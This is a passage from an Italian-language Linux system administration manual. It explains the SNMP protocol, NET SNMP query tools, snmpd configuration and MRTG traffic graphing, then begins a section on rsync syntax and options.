- '`.1.3.6.1.2.1.1.1.0`'
- '`system.sysDescr.0`'
- '`1.sysdescr.0`'
- '`1.1.0`'

Nella terminologia usata per il protocollo SNMP, si fa spesso riferimento alla sigla OID (*Object identifier*). Un OID è un percorso qualunque di quelli che riguardano le variabili gestite dal protocollo, senza che debba arrivare necessariamente al dettaglio di una sola variabile. Per esempio, è un OID il percorso '`.iso.org.dod.internet.mgmt.mib-2.system`', il quale

rappresenta tutto ciò che appartiene a quella gerarchia, ma è un OID anche un percorso che arriva fino in fondo, a specificare una sola variabile.

Gli «oggetti» (nel senso di OID) gestibili attraverso il protocollo SNMP, sono raggruppati a insiemi denominati MIB (*Management information base*).

42.11.2 Note essenziali sul protocollo

Il protocollo SNMP consente sostanzialmente di: richiedere a un servente la lettura di una certa variabile o di un gruppo di queste; modificare il contenuto delle variabili che il servente consente di alterare; di attivare delle «trappole» (*trap*) che scattino al verificarsi di certe condizioni, con le quali si vuole che alcune variabili (riferite al proprio nodo) siano inviate a un certo cliente SNMP.

Per queste funzioni, SNMP si avvale generalmente del protocollo UDP. Precisamente, per le operazioni di lettura e scrittura normali, ci si aspetta di trovare il servente in ascolto della porta 161 (161/UDP); invece, per l'invio di valori senza una richiesta preventiva (quando scattano delle trappole), ci si aspetta di trovare, presso la destinazione, un programma in ascolto della porta 162 (162/UDP).

Di norma, il servente SNMP viene chiamato «agente» (*agent*).

42.11.3 Autenticazione e limitazione degli accessi

Il servente SNMP (ovvero l'agente) che riceve la richiesta di fornire delle informazioni, prima di rispondere, cerca di verificare che questa provenga da chi ha il diritto di ottenerle. Il servente può attuare una propria politica, basata sull'indirizzo di origine della richiesta (nel senso che si risponde solo a chi appartiene a un certo gruppo di indirizzi), ma nel protocollo stesso è prevista una qualche forma di riconoscimento.

Nelle versioni 1 e 2 del protocollo SNMP, il cliente si presenta al servente specificando il nome della «comunità» (*community*). In pratica, il servente risponde solo se il nome della comunità corrisponde a quello previsto (si distingue normalmente tra il nome da usare per la lettura delle variabili e quello da usare per la loro modifica). Tuttavia, occorre considerare che nella versione 1 del protocollo, il nome della comunità viene trasmesso in chiaro attraverso la rete, pertanto potrebbe essere individuato facilmente.

Nella versione 3 del protocollo SNMP, l'autenticazione può avvenire attraverso utenze e parole d'ordine individuali, ma questo meccanismo non viene descritto qui.

> Notoriamente, la comunità predefinita, usata per la lettura delle variabili è '**`public`**', mentre quella per la scrittura è '**`private`**'. Naturalmente, è molto importante modificare questi nomi quando si attiva un servizio SNMP; inoltre, è altrettanto importante verificare se le apparecchiature connesse in rete offrono anche un servizio SNMP, provvedendo eventualmente a cambiare i nomi delle comunità anche se non si intende usufruirne.

Figura 42.126. Una pagina del programma di configurazione di un router VoIP, che consente l'uso del protocollo SNMP. La parola chiave '**SET**' si riferisce alla modifica delle variabili, mentre '**GET**' alla sola lettura.

SNMP Community Configuration	
SET Community	private
GET Community	public
Trap Community	public
OK Cancel	

Riquadro 42.127. Problemi di sicurezza.

È chiaro che l'attivazione di un servizio SNMP implichi la necessità di considerare come proteggere gli accessi, per non lasciare a chiunque di ottenere le informazioni relative. Ma è ancora più importante considerare che la maggior parte delle apparecchiature dedicate, collegate o collegabili alla rete, pubblicano delle informazioni attraverso il protocollo SNMP. In questi casi, dimenticare di modificare i nomi predefiniti delle comunità di lettura e scrittura, può essere fatale: alle volte vengono pubblicati in questo modo anche le parole d'ordine di accesso per la modifica della configurazione dell'apparecchio!

42.11.4 Interrogazione generica di un servizio SNMP

Il pacchetto NET SNMP[25] contiene diversi programmi per l'interrogazione di un servizio SNMP, le cui opzioni principali sono condivise. Per verificare che un servizio SNMP sia attivo, si usa normalmente '**snmpwalk**' o '**snmpbulkwalk**':

snmpwalk [*opzioni*] *agente* [*percorso*]

snmpbulkwalk [*opzioni*] *agente* [*percorso*]

Si osservi che nei modelli sintattici standard, al posto di ***percorso*** si indica la sigla OID. In pratica, il percorso non raggiunge necessariamente il dettaglio di una variabile singola.

La differenza tra i due programmi, sta nel fatto che il secondo ('**snmpbulkwalk**' si avvale specificatamente di funzionalità che sono disponibili a partire dalla versione 2 del protocollo SNMP, anche se il risultato apparente è lo stesso. Segue la descrizione di alcuni esempi.

- $ **snmpwalk -v 1 -c public localhost** [*Invio*]

  Interroga il servizio SNMP presso l'elaboratore locale, utilizzando la versione 1 del protocollo e facendo riferimento alla comunità '**public**', che di solito è quella predefinita per la lettura delle variabili. Se il servizio risponde, si ottiene l'elenco di tutte le variabili disponibili:

```
SNMPv2-MIB::sysDescr.0 = STRING: Linux nanohost 2.6.17.1 ↩
↪#1 PREEMPT Fri Jun 30 21:44:31 CEST 2006 i686
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::dod.0.0.0.0.0.0.0
SNMPv2-MIB::sysUpTime.0 = Timeticks: (207762) 0:34:37.62
…
…
IPV6-MIB::ipv6IfAdminStatus.7 = INTEGER: up(1)
IPV6-MIB::ipv6IfOperStatus.2 = INTEGER: up(1)
IPV6-MIB::ipv6IfOperStatus.7 = INTEGER: up(1)
```

Come si può osservare, in questo caso i percorsi delle variabili sono abbreviati attraverso l'indicazione del MIB di riferimento.

- $ **snmpwalk -O f -v 2c -c public localhost** [*Invio*]

  Rispetto all'esempio precedente, si richiede di visualizzare i percorsi secondo lo standard, usando i nomi rispettivi; inoltre si usa la versione 2 del protocollo.

```
.iso.org.dod.internet.mgmt.mib-2.system.sysDescr.0 = STRING: Linux ↩
↪nanohost 2.6.17.1 #1 PREEMPT Fri Jun 30 21:44:31 CEST 2006 i686
.iso.org.dod.internet.mgmt.mib-2.system.sysObjectID.0 = OID: ↩
↪.iso.org.dod.0.0.0.0.0.0.0
.iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.0 = Timeticks: ↩
↪(227323) 0:37:53.23
…
…
.iso.org.dod.internet.mgmt.mib-2.ipv6MIB.ipv6MIBObjects.ipv6IfTable.↩
↪ipv6IfEntry.ipv6IfAdminStatus.7 = INTEGER: up(1)
.iso.org.dod.internet.mgmt.mib-2.ipv6MIB.ipv6MIBObjects.ipv6IfTable.↩
↪ipv6IfEntry.ipv6IfOperStatus.2 = INTEGER: up(1)
.iso.org.dod.internet.mgmt.mib-2.ipv6MIB.ipv6MIBObjects.ipv6IfTable.↩
↪ipv6IfEntry.ipv6IfOperStatus.7 = INTEGER: up(1)
```

- $ **snmpbulkwalk -O f -v 2c -c public localhost** [*Invio*]

  Si ottiene lo stesso risultato dell'esempio precedente.

- $ **snmpwalk -O n -v 2c -c public localhost** [*Invio*]

  Si ottengono i percorsi in forma numerica.

```
.1.3.6.1.2.1.1.1.0 = STRING: Linux nanohost 2.6.17.1 #1 PREEMPT ↩
↪Fri Jun 30 21:44:31 CEST 2006 i686
.1.3.6.1.2.1.1.2.0 = OID: .1.3.6.0.0.0.0.0.0.0
.1.3.6.1.2.1.1.3.0 = Timeticks: (263893) 0:43:58.93
…
…
.1.3.6.1.2.1.55.1.5.1.9.7 = INTEGER: up(1)
.1.3.6.1.2.1.55.1.5.1.10.2 = INTEGER: up(1)
.1.3.6.1.2.1.55.1.5.1.10.7 = INTEGER: up(1)
```

- $ **snmpwalk -O n -v 2c -c public localhost .1.3.6.1.2.1.1.9.1** [*Invio*]

  Si ottengono le variabili, limitatamente a un certo OID.

```
.1.3.6.1.2.1.1.9.1.2.1 = OID: .1.3.6.1.2.1.31
.1.3.6.1.2.1.1.9.1.2.2 = OID: .1.3.6.1.6.3.1
.1.3.6.1.2.1.1.9.1.2.3 = OID: .1.3.6.1.2.1.49
...
.1.3.6.1.2.1.1.9.1.4.7 = Timeticks: (10) 0:00:00.10
.1.3.6.1.2.1.1.9.1.4.8 = Timeticks: (10) 0:00:00.10
.1.3.6.1.2.1.1.9.1.4.9 = Timeticks: (10) 0:00:00.10
```

Per leggere in modo particolare una sola variabile, si usa normalmente '**snmpget**' o '**snmpgetnext**':

snmpget [*opzioni*] ***nodo variabile***

snmpgetnext [*opzioni*] ***nodo variabile***

Il risultato ottenuto dai due programmi è diverso, in quanto il primo mostra il contenuto della variabile indicata, mentre il secondo mostra quella successiva a quella indicata. Segue la descrizione di alcuni esempi, omettendo di precisare dettagli già descritti a proposito di quelli su '**snmpwalk**' e '**snmpbulkwalk**', in quanto le opzioni usate sono equivalenti.

- $ **snmpget -O n -v 2c -c public localhost .1.3.6.1.2.1.1.1.0** [*Invio*]

  Interroga la variabile ***.iso.org.dod.internet.mgmt.mib-2.system.sysDescr.0***.

  ```
  .1.3.6.1.2.1.1.1.0 = STRING: Linux nanohost 2.6.17.1 #1 ↩
  ↪PREEMPT Fri Jun 30 21:44:31 CEST 2006 i686
  ```

- $ **snmpgetnext -O n -v 2c -c public localhost** ↩
  ↪ **.1.3.6.1.2.1.1.9.1.3.9** [*Invio*]

  Interroga la variabile successiva a '.iso.org.dod.internet.mgmt.mib-2.system.sysORTable.sysOREntry.sysORDescr.9', che in questo caso corrisponde a '.iso.org.dod.internet.mgmt.mib-2.system.sysORTable.sysOREntry.sysORUpTime.1'.

  ```
  .1.3.6.1.2.1.1.9.1.4.1 = Timeticks: (10) 0:00:00.10
  ```

Tabella 42.134. Alcune opzioni comuni nei programmi di NET SNMP.

Opzione	Descrizione
-v 1|2c|3	Specifica la versione del protocollo SNMP da utilizzare.
-c ***comunità***	Specifica il nome della comunità a cui fare riferimento e si applica solo alle versioni 1 e 2 del protocollo.
-O f	Mostra il percorso utilizzando i nomi.
-O n	Mostra il percorso in forma numerica.

42.11.5 Interrogazioni più specifiche di un servizio SNMP

«

Il pacchetto NET SNMP[26] include anche qualche programma per l'interrogazione di un servizio SNMP, in riferimento a problemi specifici, mostrando il risultato in un modo conforme al problema stesso. Naturalmente, perché questi programmi possano mostrare le informazioni richieste, occorre che il servizio SNMP pubblichi le variabili necessarie.

snmpdf [*opzioni*] ***nodo***

Il programma '**snmpdf**' consente di ottenere informazioni sullo spazio utilizzato e disponibile nei dischi. In pratica, la sigla '**df**' fa volutamente riferimento al programma di un sistema Unix che di solito compie questa funzione. L'esempio seguente dovrebbe essere più che sufficiente per comprenderne il funzionamento:

$ **snmpdf -v 2c -c public localhost** [*Invio*]

```
Description              size (kB)            Used       Available Used%
Memory Buffers              513204           50168          463036     9%
Real Memory                 513204          499240           13964    97%
Swap Space                 5148856             796         5148060     0%
/                         40679248        21106328        19572920    51%
/sys                             0               0               0     0%
/proc/bus/usb                    0               0               0     0%
/home                    193540640        98867424        94673216    51%
```

Attraverso '**snmpnetstat**' è possibile interrogare lo stato delle connessioni, come si farebbe con il programma '**netstat**':

snmpnetstat [*opzioni*] ***nodo***

Oltre alle opzioni comuni di NET SNMP, altre consentono di limitare la visualizzazione a una porzione di proprio interesse. L'esempio seguente esegue semplicemente un'interrogazione complessiva, visualizzando gli indirizzi in forma numerica (opzione '**-n**'):

$ **snmpnetstat -v 2c -c public -n localhost** [*Invio*]

```
Active Internet (tcp) Connections
Proto Local Address          Remote Address          (state)
tcp   127.0.0.1.4221         127.0.0.1.5901         ESTABLISHED
tcp   127.0.0.1.5901         127.0.0.1.4221         ESTABLISHED
tcp   172.21.77.5.707        172.21.254.254.861     TIMEWAIT
tcp   172.21.77.5.1023       172.21.254.254.2049    ESTABLISHED
tcp   172.21.77.5.1651       62.123.24.21.22        ESTABLISHED
tcp   172.21.77.5.3865       172.21.254.254.111     TIMEWAIT
tcp   172.21.77.5.4165       62.123.24.21.22        ESTABLISHED
Active Internet (udp) Connections
Proto Local Address
```

```
udp   *.9
udp   *.69
udp   *.111
udp   *.137
udp   *.138
udp   *.514
udp   *.623
udp   *.638
udp   *.812
udp   *.924
udp   *.1025
udp   *.1028
udp   *.1031
udp   *.1048
udp   *.2049
udp   *.3130
udp   *.9676
udp   127.0.0.1.53
udp   127.0.0.1.161
udp   172.21.77.5.53
udp   172.21.77.5.137
udp   172.21.77.5.138
```

Con '**snmpstatus**' è possibile ottenere alcune informazioni statistiche:

snmpstatus [*opzioni*] *nodo*

Ecco un esempio comune:

$ **snmpstatus -v 2c -c public localhost** [*Invio*]

```
[UDP: [127.0.0.1]:161]=>[Linux nanohost 2.6.17.1 #1 PREEMPT ↩
↪Fri Jun 30 21:44:31 CEST 2006 i686] Up: 0:52:13.49
Interfaces: 7, Recv/Trans packets: 451271/401702 | IP: 451199/401542
5 interfaces are down!
```

42.11.6 Attivazione di un servizio SNMP con NET SNMP

NET SNMP include un demone per offrire un servizio SNMP presso un elaboratore:

snmpd [*opzioni*]

Di norma, questo programma viene avviato attraverso la procedura di inizializzazione del sistema, pertanto si interviene con script appositi del proprio sistema operativo (per esempio '/etc/init.d/snmpd'). Inoltre, il file di configurazione dovrebbe essere '/etc/snmp/snmpd.conf'.

La predisposizione del file di configurazione non è semplice; di solito si parte da quello già predisposto dalla propria distribuzione del sistema operativo, attraverso modifiche più o meno intuitive, contando sulle descrizioni contenute nei commenti. Tuttavia, eventualmente, se le proprie esigenze sono limitate al controllo degli accessi in modo semplificato, è possibile utilizzare il programma '**snmpconf**' per generare un file di configurazione, da zero. Segue un esempio per ottenere semplicemente la configurazione degli accessi in sola lettura a partire dall'elaboratore locale:

```
$ snmpconf -g basic_setup[Invio]

  The following installed configuration files were found:

     1:  /etc/snmp/snmpd.conf

  Would you like me to read them in?  Their content will be merged with
  the output files created by this session.

  Valid answer examples: "all", "none","3","1,2,5"


Read in which (default = all): all[Invio]

  ************************************************
  *** Beginning basic system information setup ***
  ************************************************


Do you want to configure the information returned in the ↩
↪system MIB group (contact info, etc)?  (default = y): y[Invio]

  Configuring: syslocation
  Description:
    The [typically physical] location of the system.
      Note that setting this value here means that when trying to
      perform an snmp SET operation to the sysLocation.0 variable will
      make the agent return the "notWritable" error code.  IE, including
      this token in the snmpd.conf file will disable write access to
      the variable.
      arguments:  location_string


The location of the system: ufficio[Invio]

  Configuring: syscontact
  Description:
    The contact information for the administrator
      Note that setting this value here means that when trying to
      perform an snmp SET operation to the sysContact.0 variable will
      make the agent return the "notWritable" error code.  IE, including
      this token in the snmpd.conf file will disable write access to
      the variable.
```

```
    arguments:  contact_string


The contact information: tizio@brot.dg[Invio]

  Finished Output: syscontact  tizio@brot.dg


Do you want to properly set the value of the sysServices.0 OID ↩
↪(if you don't know, just say no)?  (default = y): n[Invio]

  ************************************
  *** BEGINNING ACCESS CONTROL SETUP ***
  ************************************


Do you want to configure the agent's access control?  ↩
↪(default = y): y[Invio]

Do you want to allow SNMPv3 read-write user based access ↩
↪(default = y): n[Invio]

Do you want to allow SNMPv3 read-only user based access ↩
↪(default = y): n[Invio]

Do you want to allow SNMPv1/v2c read-write community access ↩
↪(default = y): n[Invio]

Do you want to allow SNMPv1/v2c read-only community access (default =
y): y[Invio]

  Configuring: rocommunity
  Description:
    a SNMPv1/SNMPv2c read-only access community name
      arguments:  community [default|hostname|network/bits] [oid]


The community name to add read-only access for: public[Invio]

The hostname or network address to accept this community ↩
↪name from [RETURN for all]: 127.0.0.1[Invio]

The OID that this community should be restricted to ↩
↪[RETURN for no-restriction]: [Invio]

  Finished Output: rocommunity  public 127.0.0.1


Do another rocommunity line?  (default = y): n[Invio]

  **************************************
  *** Beginning trap destination setup ***
  **************************************
```

```
Do you want to configure where and if the agent will send ↩
↪traps?  (default = y): n[Invio]

  ********************************
  *** Beginning monitoring setup ***
  ********************************


Do you want to configure the agent's ability to monitor various ↩
↪aspects of your system?  (default = y): n[Invio]


  The following files were created:

    snmpd.conf

  These files should be moved to …
  …
```

In pratica, al termine dell'esempio, si ottiene il file '`snmpd.conf`' nella directory corrente, che l'utente può copiare probabilmente in '`/etc/snmp/`', o in una posizione analoga, in base all'impostazione del proprio sistema. Ecco il contenuto del file, omettendo tutti i commenti:

```
syslocation  ufficio
syscontact  tizio@brot.dg
rocommunity  public 127.0.0.1
```

Naturalmente, soprattutto se si intende offrire l'accesso a elaboratori esterni, può essere conveniente cambiare il nome della comunità.

42.11.7 MRTG

MRTG[27] è un programma in grado di interrogare un router che disponga di un servizio SNMP, per disegnare automaticamente dei grafici sul traffico che lo riguarda. I grafici in questione vengono accompagnati da una pagina HTML che guida all'interpretazione dei valori, facilitandone così la pubblicazione.

42.11.7.1 Configurazione

Per usare MRTG è indispensabile predisporre un file di configurazione, collocabile ovunque, ma in generale potrebbe corrispondere a '`/etc/mrtg.cfg`'. Per costruire correttamente questo file occorre conoscere perfettamente le caratteristiche del router (o comunque del nodo di rete) da tenere sotto controllo, ma in pratica ci si avvale di un programma apposito che esplora le caratteristiche dell'agente SNMP da considerare, quindi scrive una configurazione valida. Il programma in questione è '**`cfgmaker`**':

cfgmaker [***opzioni***] ***agente_snmp***...

L'agente SNMP si indica secondo la forma consueta:

[***comunità*** @] ***nodo***

In pratica, se si omette il nome della comunità, si intende '**public**'.

Tabella 42.150. Alcune opzioni per l'utilizzo di '**cfgmaker**'.

Opzione	Descrizione
`--enable-ipv6`	Abilita l'uso di IPv6.
`--output=`*file*	Dichiara il file di configurazione da creare automaticamente. In mancanza di questa indicazione, il risultato viene emesso attraverso lo standard output.
`--zero-speed=`***n_bit_s***	Se dall'interrogazione SNMP risulta che un'interfaccia opera a velocità zero, si fa in modo che si consideri invece il valore indicato con l'opzione, che si intende esprimere una quantità di bit per secondo.

Segue la descrizione di alcuni esempi.

- `#` **`cfgmaker localhost mia@172.17.1.1 > /etc/mrtg.cfg`** [*Invio*]

  Genera il file '`/etc/mrtg.cfg`', contenente le direttive necessarie a controllare tutte le interfacce di rete attive nell'elaboratore locale (*`localhost`*), utilizzando la comunità predefinita ('**public**'), e quelle dell'elaboratore raggiungibile con l'indirizzo 172.17.1.1, utilizzando in questo caso la comunità '**mia**'.

- `#` **`cfgmaker --output=/etc/mrtg.cfg localhost mia@172.17.1.1`** [*Invio*]

  Genera il file '`/etc/mrtg.cfg`', esattamente come nell'esempio precedente.

- `#` **`cfgmaker --enable-ipv6 localhost mia@172.17.1.1`** ↩
  ↪ **`> /etc/mrtg.cfg`** [*Invio*]

  Come nell'esempio precedente, abilitando l'uso di IPv6.

Il file di configurazione che si ottiene, contiene anche direttive che potrebbe essere necessario cambiare, per le proprie esigenze contingenti. In particolare è importante accertarsi che i grafici da produrre vengano creati nella directory che ci si aspetta sia usata per questo:

```
...
WorkDir: /var/www/mrtg
...
```

In questo caso MRTG viene istruito per mettere i file che crea nella directory '`/var/www/mrtg/`'. Eventualmente, si può fare in modo che sia '**cfgmaker**' che predispone questa direttiva nel modo che più si preferisce, senza dover ritoccare a mano il file di configurazione, attraverso l'opzione speciale '**--global**':

`#` **`cfgmaker --enable-ipv6 --global="WorkDir:  /var/www/mrtg"`** ... ↩
↪ **`> /etc/mrtg.cfg`** [*Invio*]

42.11.7.2 Utilizzo del programma

Quando si dispone di un file di configurazione, si può utilizzare MRTG per interrogare i vari agenti SNMP previsti, a intervalli regolari:

```
mrtg [opzioni] file_di_configurazione
```

Di solito non si usano opzioni, indicando semplicemente il file di configurazione a cui fare riferimento. Piuttosto, la cosa più importante da considerare è il fatto che il programma non accetta altra configurazione locale che quella tradizionale dei sistemi Unix: '**`C`**'. In pratica, va usato così:

```
LANG=C mrtg [opzioni] file_di_configurazione
```

Ovvero:

```
env LANG=C mrtg [opzioni] file_di_configurazione
```

Il programma va eseguito a intervalli regolari, attraverso Cron; di solito lo si fa con una cadenza di cinque minuti. Ecco come si potrebbe configurare Cron al riguardo (sezione 11.5):

```
...
*/5 * * * * root if [ -x /usr/bin/mrtg ] && [ -r /etc/mrtg.cfg ]; ↩
↪               then env LANG=C /usr/bin/mrtg /etc/mrtg.cfg ↩
↪                    >> /var/log/mrtg/mrtg.log 2>&1; fi
...
```

42.11.7.3 Il risultato

In base alla configurazione, il programma '**`mrtg`**' va a memorizzare i dati letti presso i vari agenti SNMP previsti, all'interno di file contenuti nella directory stabilita come '**`WorkDir`**' (per esempio '`/var/www/mrtg/`'. Inoltre, ogni volta, sulla base dei dati accumulati, produce i grafici in forma di file PNG, accompagnati da un file HTML che ne facilita la lettura. Ecco come potrebbe apparire uno di questi grafici, visto attraverso la pagina HTML di riferimento:

The statistics were last updated **Monday, 31 July 2006 at 17:10**, at which time **'rou-rz-gw.ethz.ch'** had been up for **84 days, 6:24:51**.

`Daily' Graph (5 Minute Average)

	Max	Average	Current
In	319.4 Mb/s (7.4%)	110.3 Mb/s (2.6%)	124.2 Mb/s (2.9%)
Out	149.3 Mb/s (3.5%)	57.8 Mb/s (1.3%)	110.1 Mb/s (2.6%)

42.12 Rsync

Rsync[28] è un sistema di copia tra elaboratori (o anche all'interno del file system dello stesso sistema locale), in grado di individuare e trasferire il minimo indispensabile di dati, allo scopo di allineare la destinazione con l'origine. L'uso di questo programma è molto semplice ed è simile a quello di '**rcp**' (*Remote shell copy*) o anche di '**scp**' (*Secure shell copy*).

L'aggiornamento dei dati, in funzione delle opzioni utilizzate, può basarsi sul confronto delle date di modifica, delle dimensioni dei file e anche sul calcolo di un codice di controllo (*checksum*). In linea di principio, a meno di utilizzare opzioni che specificano qualcosa di diverso, non conta il fatto che i dati siano più recenti o meno, basta che questi siano diversi per ottenerne il trasferimento.

42.12.1 Tipi di utilizzo

Rsync può utilizzare diverse modalità di trasferimento dei file, a seconda delle circostanze e delle preferenze. Per la precisione si distinguono tre possibilità fondamentali.

Copia locale

In tal caso, la copia, o l'allineamento, avviene all'interno dello stesso sistema, dove l'origine e la destinazione sono riferite semplicemente a posizioni differenti nel file system. In questa circostanza, Rsync viene utilizzato come metodo evoluto di copia.

Copia tra elaboratori attraverso '**rsh**' o simili

Si tratta di un'operazione che coinvolge due elaboratori differenti, anche se uno dei due deve essere necessariamente quello locale, in cui il trasferimento dei dati avviene attraverso '**rsh**' o un suo equivalente (come '**ssh**'), utilizzando una copia del programma '**rsync**' anche nell'elaboratore remoto.

Copia tra elaboratori attraverso un protocollo specifico di Rsync

Si tratta di un sistema di copia tra elaboratori, dove in quello remoto si trova in funzione una copia del programma '**rsync**', avviata in modo che resti in ascolto della porta TCP 873. In questo caso, la connessione tra elaboratore locale ed elaboratore remoto avviene direttamente senza l'utilizzo di una shell per l'accesso remoto.

42.12.2 Origine, destinazione e percorsi

La forma utilizzata per esprimere l'origine e la destinazione permette di distinguere anche la modalità con cui si vuole che la copia o l'allineamento siano eseguiti.

Sintassi	Descrizione
percorso	L'assenza del simbolo di due punti ('`:`'), indica che si tratta di un percorso riferito al file system locale.
[*utente*`@`] *nodo*`:`*percorso*	La presenza di un simbolo di due punti singolo ('`:`'), indica che si tratta di un percorso riferito a un nodo remoto e che per la connessione si vuole usare una shell per l'accesso remoto.
[*utente*`@`] *nodo*`::`*percorso* `rsync://`[*utente*`@`] *nodo*`/`*percorso*	La presenza di un simbolo di due punti doppio ('`::`'), o l'indicazione esplicita del protocollo Rsync (*`rsync://`*), indica che si tratta di un percorso riferito a un nodo remoto e che per la connessione si vuole usare il protocollo specifico di Rsync.

L'indicazione dei percorsi merita attenzione. Per prima cosa si può dire che valgono regole simili a quelle della copia normale; per cui, si può copiare un file singolo, anche indicando espressamente il nome che si vuole nella destinazione (che potrebbe essere diverso da quello di origine); inoltre si possono copiare uno o più file e directory in una destinazione che sia una directory.

- Quando l'origine è locale, si possono indicare diversi percorsi, anche con l'aiuto di metacaratteri (caratteri jolly) che poi vengono interpretati opportunamente ed espansi dalla shell locale. L'esempio seguente, mostra il comando necessario a copiare o ad allineare i file che terminano per '`.sgml`', della directory corrente, con quanto contenuto nella directory '`/tmp/prove/`' del nodo *`roggen.brot.dg`*.

  `$` **`rsync *.sgml roggen.brot.dg:/tmp/prove`** [*Invio*]

- Quando l'origine è remota, si possono indicare diversi percorsi, anche con l'aiuto di metacaratteri che poi vengono interpretati opportunamente ed espansi dalla shell utilizzata nell'utenza remota. La differenza sta nel fatto che i metacaratteri utilizzati non devono essere interpretati dalla shell locale, per cui è bene usare delle tecniche di protezione adatte. Probabilmente, ciò non è indispensabile, perché alcune shell come Bash ignorano l'espansione dei nomi se questi non possono avere una corrispondenza nel file system locale.

  L'esempio seguente, mostra il comando necessario a copiare o ad allineare i file che terminano per '`.sgml`', della directory '`/tmp/prove/`' del nodo *`roggen.brot.dg`*, con quanto contenuto nella directory corrente dell'elaboratore locale.

  `$` **`rsync 'roggen.brot.dg:/tmp/prove/*.sgml' .`** [*Invio*]

- Quando l'origine fa riferimento a una directory, ma **non** si utilizza la barra obliqua finale, si intende individuare la directory, come se fosse un file normale. La directory di origine viene copiata nella directory di destinazione, aggiungendola a questa. Per cui, l'esempio seguente serve a copiare la directory locale '`/tmp/ciao/`' nella directory remota '`/tmp/prove/`', generando '`/tmp/prove/ciao/`' e copiando al suo interno i file e le sottodirectory che fossero eventualmente contenuti nel percorso di origine.

  `$` **`rsync -r /tmp/ciao roggen.brot.dg:/tmp/prove`** [*Invio*]

- Quando l'origine fa riferimento a una directory e si utilizza la barra finale, si intende individuare tutto il **contenuto** della directory, escludendo la directory stessa. Per cui, l'esempio seguente serve a copiare il contenuto della directory locale '`/tmp/ciao/`' nella directory remota '`/tmp/prova/`', generando eventuali file e sottodirectory contenuti nella directory di origine.

  `$` **`rsync -r /tmp/ciao/ roggen.brot.dg:/tmp/prove`** [*Invio*]

È diverso copiare il contenuto di una directory dal copiare una directory intera (assieme al suo contenuto); nel primo caso, si rischia di perdere la copia dei file «nascosti», ovvero quelli che iniziano con un punto.

42.12.3 Proprietà dei file

Come è possibile vedere in seguito, quando si utilizzano le opzioni '**`-o`**' ('**`--owner`**') e '**`-g`**' ('**`--group`**'), si intende fare in modo che nella destinazione sia mantenuta la stessa proprietà dei file (dell'utente o del gruppo) che questi hanno nell'origine.

Per ottenere questo risultato, si confrontano generalmente i nomi degli utenti e dei gruppi, assegnando i numeri UID e GID necessari. Quando questa corrispondenza dovesse mancare, viene utilizzato semplicemente lo stesso numero ID. In alternativa, con l'uso dell'opzione '**`--numeric-ids`**', si può richiedere espressamente l'uguaglianza numerica di UID o GID, indipendentemente dai nomi utilizzati effettivamente.

42.12.4 Avvio del programma

Il programma eseguibile '**`rsync`**' è quello che svolge tutte le funzioni necessarie ad allineare una destinazione, in base al contenuto di un'origine. Per questo, come già chiarito, si può avvalere di '**`rsh`**', di un'altra shell per l'accesso remoto o di un servente Rsync remoto.

`rsync` [***opzioni***] ***origine destinazione***

L'origine e la destinazione possono essere riferite indifferentemente al nodo locale o a un nodo remoto. Quello che conta è che almeno una delle due sia riferita al nodo locale.

Tabella 42.155. Alcune opzioni.

Opzione	Descrizione
`-v` `--verbose`	Permette di ottenere più informazioni sullo svolgimento delle operazioni. Questa opzione può essere usata più volte, incrementando il livello di dettaglio di tali notizie.
`-q` `--quiet`	Permette di ridurre la quantità di informazioni che vengono emesse. Di solito può essere utile quando si usa il programma attraverso Cron.
`-z` `--compress`	Prima di trasmettere i dati, li comprime. Ciò permette di ridurre il traffico di rete durante il trasferimento dei dati.

Opzione	Descrizione
`-I` `--ignore-times`	Normalmente, si considera che i file che hanno la stessa dimensione e la stessa data di modifica, siano identici. Con questa opzione, si fa in modo che tale presunzione non sia valida.
`-c` `--checksum`	Fa in modo che vengano confrontati tutti i file attraverso un codice di controllo prima di decidere se devono essere trasferiti o meno. L'uso di questa opzione implica un tempo di elaborazione più lungo, anche se garantisce una sicurezza maggiore nella determinazione delle differenze esistenti tra l'origine e la destinazione.
`-a` `--archive`	Questa opzione rappresenta in pratica l'equivalente di '**`-rlptgoD`**' (ovvero la sequenza delle opzioni '**`--recursive`**', '**`--links`**', '**`--perms`**', '**`--time`**', '**`--group`**', '**`--owner`**', '**`--devices`**'), allo scopo di duplicare fedelmente tutte le caratteristiche originali, discendendo ricorsivamente le directory di origine.
`-r` `--recursive`	Richiede la copia ricorsiva delle directory, cioè di tutte le sottodirectory.
`-R` `--relative`	Fa in modo di replicare nella destinazione, aggiungendolo a questa, il percorso indicato nell'origine, il quale deve comunque essere relativo.
`-b` `--backup`	Fa in modo di salvare temporaneamente i file che verrebbero sovrascritti da un aggiornamento. Questi vengono rinominati, aggiungendo un'estensione che generalmente è rappresentata dalla tilde ('**`~`**'). Questa estensione può essere modificata attraverso l'opzione '**`--suffix`**'.
`--suffix=`***suffisso***	Permette di definire il suffisso da usare per le copie di sicurezza dei file che vengono sovrascritti.
`-u` `--update`	Con questa opzione, si evita l'aggiornamento di file che nella destinazione risultano avere una data di modifica più recente di quella dei file di origine corrispondenti.
`-l` `--links`	Fa in modo che i collegamenti simbolici vengano ricreati fedelmente, come nell'origine.
`-L` `--copy-links`	Fa in modo che i collegamenti simbolici nell'origine, si traducano nella destinazione nei file a cui questi puntano.
`-H` `--hard-links`	Richiede la riproduzione fedele dei collegamenti fisici. Perché ciò possa avvenire, occorre che questi collegamenti si riferiscano allo stesso gruppo di file di origine che viene indicato nella riga di comando.
`-W` `--whole-file`	Rsync utilizza normalmente un metodo che gli permette di trasferire solo il necessario per aggiornare ogni file. Con questa opzione, si richiede espressamente che ogni file da aggiornare sia inviato per intero. Questo può essere utile quando si allineano dati contenuti nella stessa macchina e qualunque elaborazione aggiuntiva servirebbe solo a rallentare l'operazione.

Opzione	Descrizione
`-p` `--perms`	Riproduce fedelmente i permessi.
`-o` `--owner`	Quando Rsync viene utilizzato con i privilegi dell'utente '**`root`**', permette di assegnare a ciò che viene copiato lo stesso utente proprietario che risulta nell'origine.
`-g` `--group`	Quando Rsync viene utilizzato con i privilegi dell'utente '**`root`**', permette di assegnare a ciò che viene copiato lo stesso gruppo proprietario che risulta nell'origine.
`--numeric-ids`	Fa in modo di mantenere gli stessi numeri ID, quando le altre opzioni richiedono la riproduzione della proprietà dell'utente ('**`-o`**') o del gruppo ('**`-g`**').
`-D` `--devices`	Quando Rsync viene utilizzato con i privilegi dell'utente '**`root`**', permette di copiare i file di dispositivo.
